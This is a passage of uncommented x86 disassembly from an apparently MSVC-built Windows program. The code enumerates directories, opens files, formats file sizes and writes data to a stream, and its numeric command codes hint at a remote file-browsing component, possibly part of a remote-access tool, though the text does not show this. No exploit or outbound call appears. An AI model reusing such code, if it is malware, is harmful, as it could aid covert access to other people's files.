cmp dword [0x415218], ebx
jae 0x403566
mov ecx, 0x415204
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x40357d
lea eax, [esp + 0xd68]
push ecx
push eax
call esi
add esp, 8
test eax, eax
je 0x4035eb
mov esi, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x40359f
lea esi, [esp + 0xd68]
mov ecx, esi
lea eax, [esp + 0xe3c]
lea edi, [ecx + 1]
jmp 0x4035b0
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4035b0
sub ecx, edi
cmp ecx, 1
jbe 0x4035d6
cmp byte [esi], dl
je 0x4035e6
mov byte [eax], 0x5e
mov dl, byte [esi]
inc eax
mov byte [eax], dl
inc esi
inc eax
cmp byte [esi], 0
jne 0x4035c2
mov byte [eax], 0
jmp 0x40361a
mov al, byte [esi]
mov byte [esp + 0xe3c], al
lea eax, [esp + 0xe3d]
mov byte [eax], 0
jmp 0x40361a
mov ecx, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x403602
lea ecx, [esp + 0xd68]
lea edx, [esp + 0xe3c]
lea esp, [esp]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x403610
lea ecx, [esp + 0xe3c]
push ecx
lea ecx, [esp + 0xda0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [esp + 0x2316c], 0x14
cmp dword [0x414620], 0
je 0x40365e
sub esp, 0x1c
lea edx, [esp + 0xdb8]
mov ecx, esp
mov dword [esp + 0x40], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004071f0
jmp 0x403665
mov byte [0x41461d], 0
lea ecx, [esp + 0xd9c]
mov byte [esp + 0x2316c], 0xe
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x23164]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x23148]
xor ecx, esp
call fcn.0040b0ba
add esp, 0x2315c
ret
push 0x40e6c4
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd48]
mov ebx, 0x15
push eax
mov dword [esp + 0x23170], ebx
call fcn.00407e60
add esp, 4
test al, al
je 0x4049b4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x415120
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd64]
call fcn.00407960
add esp, 0x1c
xor ebp, ebp
test al, al
je 0x404456
cmp dword [esp + 0xd60], 0x10
mov eax, dword [esp + 0xd4c]
jae 0x403737
lea eax, [esp + 0xd4c]
push 0xfde9
lea ecx, [esp + 0x940]
push eax
lea eax, [esp + 0x940]
mov dword [esp + 0x940], ecx
call fcn.0040a750
lea edx, [esp + 0x24]
mov byte [esp + 0x2316c], 0x16
mov ecx, dword [esp + 0x938]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x18
mov eax, dword [esp + 0x938]
lea ecx, [esp + 0x93c]
cmp eax, ecx
je 0x403794
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x24]
lea edx, [esp + 0xe3c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x20044
lea ecx, [esp + 0x311c]
mov esi, eax
push ebp
push ecx
mov dword [esp + 0x48], esi
mov dword [esp + 0x3120], ebp
call sub.MSVCR90.dll_memset
add esp, 0xc
cmp esi, 0xffffffff
jne 0x403839
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x58], esp
push 0x40e934
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xdd4]
call fcn.00409190
add esp, 0x1c
push 5
sub esp, 0x1c
mov byte [esp + 0x2318c], 0x19
lea edx, [esp + 0xdd8]
mov ecx, esp
mov dword [esp + 0x5c], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xdb8]
mov byte [esp + 0x2316c], 0x18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x24]
jmp 0x404d7a
mov ebx, 8
mov edi, edi
test byte [esp + 0xe3c], 0x10
je 0x403ea9
push 0x838
lea eax, [esp + 0x28dc]
push ebp
push eax
mov dword [esp + 0x28e0], ebp
call sub.MSVCR90.dll_memset
lea eax, [esp + 0xe74]
add esp, 0xc
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403874
lea edi, [esp + 0x28d4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x403890
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403890
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x3fe
rep movsb byte es:[edi], byte [esi]
lea edx, [esp + 0x13d2]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0x13d8], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [esp + 0xd48]
push eax
lea ecx, [esp + 0xd84]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23188], 0x1a
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e95c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd9c]
call fcn.00407a00
add esp, 0x1c
push 0x40e83c
mov ecx, esi
call dword [0x40e1b0]
push 0x7fc
lea ecx, [esp + 0x18dc]
push ebp
push ecx
mov dword [esp + 0x18e0], ebp
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0xd90]
add esp, 0xc
cmp dword [esp + 0xd98], 0x10
jae 0x40394c
lea eax, [esp + 0xd84]
push 0xfde9
lea edx, [esp + 0x42c]
push eax
lea eax, [esp + 0x42c]
mov dword [esp + 0x42c], edx
call fcn.0040a750
lea eax, [esp + 0x20]
mov byte [esp + 0x2316c], 0x1b
mov ecx, dword [esp + 0x424]
push eax
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x1d
mov eax, dword [esp + 0x424]
lea ecx, [esp + 0x428]
cmp eax, ecx
je 0x4039a9
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x20]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x4039b0
lea edi, [esp + 0x18d4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4039d0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x4039d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xe68]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x4039f5
lea edi, [esp + 0x18d4]
sub eax, edx
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403a10
mov ecx, eax
shr ecx, 2
push ebp
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x2000000
push 3
push ebp
push 1
mov ecx, eax
push SysReAllocString
lea edx, [esp + 0x18ec]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x403a76
push esi
lea edi, [esp + 0x13d0]
call fcn.00409cd0
add esp, 4
test eax, eax
je 0x403a76
mov eax, edi
push eax
push 0x40e960
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x78]
push ecx
mov ecx, 0x4150e8
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
lea edx, [esp + 0x60]
push edx
mov ecx, 0x4150e8
mov esi, eax
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea esi, [esp + 0xdac]
call fcn.0040adb0
mov byte [esp + 0x2316c], 0x1e
mov eax, dword [esp + 0xda0]
cmp dword [esp + 0xdb4], ebx
jae 0x403ad8
lea eax, [esp + 0xda0]
mov edx, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403ae0
lea edi, [esp + 0x28d4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x403b00
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403b00
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x52c]
push 0xfde9
lea ecx, [esp + 0x13d0]
mov dword [esp + 0x52c], eax
push ecx
lea eax, [esp + 0x530]
call fcn.0040a750
lea edx, [esp + 0x18]
mov byte [esp + 0x2316c], 0x1f
mov ecx, dword [esp + 0x528]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x21
mov eax, dword [esp + 0x528]
lea ecx, [esp + 0x52c]
cmp eax, ecx
je 0x403b80
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x18]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403b86
lea edi, [esp + 0x28d4]
sub eax, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403ba0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea edx, [esp + 0x70]
rep movsb byte es:[edi], byte [esi]
push edx
mov ecx, 0x41513c
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
mov esi, eax
lea eax, [esp + 0x68]
push eax
mov ecx, 0x41513c
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea esi, [esp + 0xd74]
call fcn.0040adb0
mov byte [esp + 0x2316c], 0x22
mov eax, dword [esp + 0xd68]
cmp dword [esp + 0xd7c], ebx
jae 0x403c15
lea eax, [esp + 0xd68]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403c17
lea edi, [esp + 0x28d4]
sub eax, esi
add edi, 0xfffffffe
mov edi, edi
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403c30
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x7fe
lea ecx, [esp + 0x20da]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x20e0], ax
call sub.MSVCR90.dll_memset
mov edx, dword [0x41450c]
add esp, 0xc
push edx
lea eax, [esp + 0x20d8]
push 0x40e964
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0xc
push 0xfde9
lea edx, [esp + 0x20d8]
lea ecx, [esp + 0x83c]
push edx
lea eax, [esp + 0x83c]
mov dword [esp + 0x83c], ecx
call fcn.0040a750
lea eax, [esp + 0x2c]
mov byte [esp + 0x2316c], 0x23
mov ecx, dword [esp + 0x834]
push eax
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x25
mov eax, dword [esp + 0x834]
lea ecx, [esp + 0x838]
cmp eax, ecx
je 0x403ceb
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x2c]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403cf1
lea edi, [esp + 0x28d4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x403d10
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403d10
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0xfde9
lea eax, [esp + 0x28d8]
and ecx, 3
lea edx, [esp + 0x270]
push eax
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x270]
mov dword [esp + 0x270], edx
call fcn.0040a690
lea ecx, [esp + 0x30]
mov byte [esp + 0x2316c], 0x26
push ecx
mov ecx, dword [esp + 0x26c]
call fcn.0040a500
mov byte [esp + 0x2316c], 0x28
mov eax, dword [esp + 0x268]
lea edx, [esp + 0x26c]
cmp eax, edx
je 0x403d8e
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x30]
push eax
lea ecx, [esp + 0xdbc]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0xc
sub esp, 0x1c
mov byte [esp + 0x2318c], 0x29
lea edx, [esp + 0xdd8]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
lea edi, [esp + 0x3134]
add esp, 0x20
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403dd3
mov eax, dword [0x40e968]
mov dword [edi], eax
lea eax, [esp + 0xe68]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x403df0
lea edi, [esp + 0x3114]
sub eax, edx
add edi, 0xfffffffe
jmp 0x403e10
mov cx, word [edi + 2]
add edi, 2
cmp cx, bp
jne 0x403e10
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xdb8]
mov byte [esp + 0x2316c], 0x28
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x30]
call fcn.0040a5a0
lea eax, [esp + 0x2c]
call fcn.0040a5a0
lea ecx, [esp + 0xd64]
mov byte [esp + 0x2316c], 0x21
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
lea eax, [esp + 0x18]
call fcn.0040a5a0
lea ecx, [esp + 0xd9c]
mov byte [esp + 0x2316c], 0x1d
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
lea eax, [esp + 0x20]
call fcn.0040a5a0
lea ecx, [esp + 0xd80]
mov byte [esp + 0x2316c], 0x18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x404427
mov ebx, dword [esp + 0xe5c]
mov ebp, dword [esp + 0xe58]
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x18de]
push edx
mov word [esp + 0x18e0], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
push 0x3fe
push eax
lea ecx, [esp + 0x13d6]
push ecx
mov word [esp + 0x13d8], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [esp + 0xd48]
push edx
lea ecx, [esp + 0xd68]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23188], 0x2a
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e95c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd80]
call fcn.00407a00
add esp, 0x1c
push 0x40e83c
mov ecx, esi
call dword [0x40e1b0]
push 0x7fc
lea eax, [esp + 0x20dc]
push 0
push eax
mov dword [esp + 0x20e0], 0
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0xd74]
add esp, 0xc
cmp dword [esp + 0xd7c], 0x10
jae 0x403f7e
lea eax, [esp + 0xd68]
push 0xfde9
lea ecx, [esp + 0xa44]
push eax
lea eax, [esp + 0xa44]
mov dword [esp + 0xa44], ecx
call fcn.0040a750
lea edx, [esp + 0x40]
mov byte [esp + 0x2316c], 0x2b
mov ecx, dword [esp + 0xa3c]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x2d
mov eax, dword [esp + 0xa3c]
lea ecx, [esp + 0xa40]
cmp eax, ecx
je 0x403fdb
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x40]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403fe1
lea edi, [esp + 0x20d4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x404000
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x404000
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xe68]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404025
lea edi, [esp + 0x20d4]
sub eax, edx
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x404040
mov ecx, eax
shr ecx, 2
push 0
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
push 3
push 0
push 1
mov ecx, eax
push SysReAllocString
lea edx, [esp + 0x20ec]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4040a5
push esi
lea edi, [esp + 0x13d0]
call fcn.00409cd0
add esp, 4
test eax, eax
je 0x4040a5
mov eax, edi
push eax
push 0x40e960
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
jl 0x40417b
jg 0x4040c2
cmp ebx, 0x400
jbe 0x40417b
test ebp, ebp
jl 0x404108
jg 0x4040d0
cmp ebx, 0x100000
jbe 0x404108
mov esi, dword [0x415108]
mov edi, 0x10
cmp dword [0x41511c], edi
jae 0x4040e8
mov esi, 0x415108
push 0
push 0x100000
push ebp
push ebx
call fcn.0040c2b0
push edx
push eax
push esi
push str._s_ld_M
lea ecx, [esp + 0x18e4]
push ecx
jmp 0x40413e
mov esi, dword [0x415108]
mov edi, 0x10
cmp dword [0x41511c], edi
jae 0x404120
mov esi, 0x415108
push 0
push 0x400
push ebp
push ebx
call fcn.0040c2b0
push edx
push eax
push esi
push str._s_ld_K
lea edx, [esp + 0x18e4]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, dword [0x4150ec]
add esp, 0x14
cmp dword [0x415100], edi
jae 0x404159
mov eax, 0x4150ec
mov edx, eax
jmp 0x404160
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404160
lea edi, [esp + 0x18d4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404171
jmp 0x4041d9
mov eax, dword [0x415108]
mov esi, 0x10
cmp dword [0x41511c], esi
jae 0x404192
mov eax, 0x415108
push ebp
push ebx
push eax
lea eax, [esp + 0x18e0]
push str._s__ld_
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, dword [0x4150ec]
add esp, 0x14
cmp dword [0x415100], esi
jae 0x4041bd
mov eax, 0x4150ec
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4041c0
lea edi, [esp + 0x18d4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4041d1
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x13cc]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4041f2
lea edi, [esp + 0x18d4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404203
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [0x415140]
and ecx, 3
cmp dword [0x415154], 0x10
rep movsb byte es:[edi], byte [esi]
jae 0x40422e
mov eax, 0x415140
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404230
lea edi, [esp + 0x18d4]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404241
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
push 0xf8
push ecx
lea edx, [esp + 0x12ce]
push edx
mov word [esp + 0x12d0], cx
call sub.MSVCR90.dll_memset
mov eax, dword [0x414510]
add esp, 0xc
push eax
lea ecx, [esp + 0x12c8]
push 0x40e964
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0xc
push 0xfde9
lea eax, [esp + 0xe6c]
lea edx, [esp + 0x1ec]
push eax
lea eax, [esp + 0x1ec]
mov dword [esp + 0x1ec], edx
call fcn.0040a690
lea ecx, [esp + 0x14]
mov byte [esp + 0x2316c], 0x2e
push ecx
mov ecx, dword [esp + 0x1e8]
call fcn.0040a500
mov byte [esp + 0x2316c], 0x30
mov eax, dword [esp + 0x1e4]
lea edx, [esp + 0x1e8]
cmp eax, edx
je 0x4042f7
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0xd84]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
xor ecx, ecx
push 0x30
push ecx
lea edx, [esp + 0x109a]
mov byte [esp + 0x23174], 0x31
push edx
mov word [esp + 0x109c], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0xa
lea eax, [esp + 0x1094]
push eax
push ebx
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea ecx, [esp + 0x1090]
push ecx
lea ecx, [esp + 0xdbc]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.___.
lea ecx, [esp + 0xd84]
mov byte [esp + 0x23170], 0x32
call dword [0x40e1b0]
lea edx, [esp + 0xdb8]
push edx
lea ecx, [esp + 0xd84]
call dword [0x40e1b4]
lea eax, [esp + 0x18d4]
push eax
lea ecx, [esp + 0xd84]
call dword [0x40e1b0]
lea ecx, [esp + 0x12c4]
push ecx
lea ecx, [esp + 0xd84]
call dword [0x40e1b0]
push 0xd
sub esp, 0x1c
lea edx, [esp + 0xda0]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xdb8]
mov byte [esp + 0x2316c], 0x31
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd80]
mov byte [esp + 0x2316c], 0x30
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
lea eax, [esp + 0x40]
call fcn.0040a5a0
lea ecx, [esp + 0xd64]
mov byte [esp + 0x2316c], 0x18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor ebp, ebp
lea ebx, [ebp + 8]
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0xe3c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403840
mov edx, dword [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x24]
jmp 0x404d7a
push 0x41521c
lea ecx, [esp + 0xdbc]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 7
sub esp, 0x1c
mov byte [esp + 0x2318c], 0x33
lea eax, [esp + 0xdd8]
mov ecx, esp
mov dword [esp + 0x54], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xdb8]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd48]
jmp 0x40368c
lea edi, [esp + 0x18]
mov dword [esp + 0x18], 0
call fcn.00407d10
test al, al
je 0x404550
mov ecx, dword [esp + 0x18]
push ecx
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov edi, dword [esp + 0x1c]
mov esi, eax
add esp, 4
push esi
call fcn.00407c40
add esp, 4
test al, al
jne 0x404557
push 0x41521c
lea ecx, [esp + 0xdd8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 5
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x2318c], 0x34
mov dword [esp + 0x54], esp
push 0x414e38
lea eax, [esp + 0xdf8]
push eax
push edx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xdd4]
mov dword [esp + 0x2316c], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x403694
mov ecx, dword [esp + 0x18]
push ecx
push esi
mov ecx, 0x414f48
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___int_]
mov edx, dword [esp + 0x18]
add dword [0x414504], edx
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x16
call fcn.00407cc0
add esp, 4
test al, al
jne case.0x4026f6.2
push 0x41521c
lea ecx, [esp + 0xdd8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 5
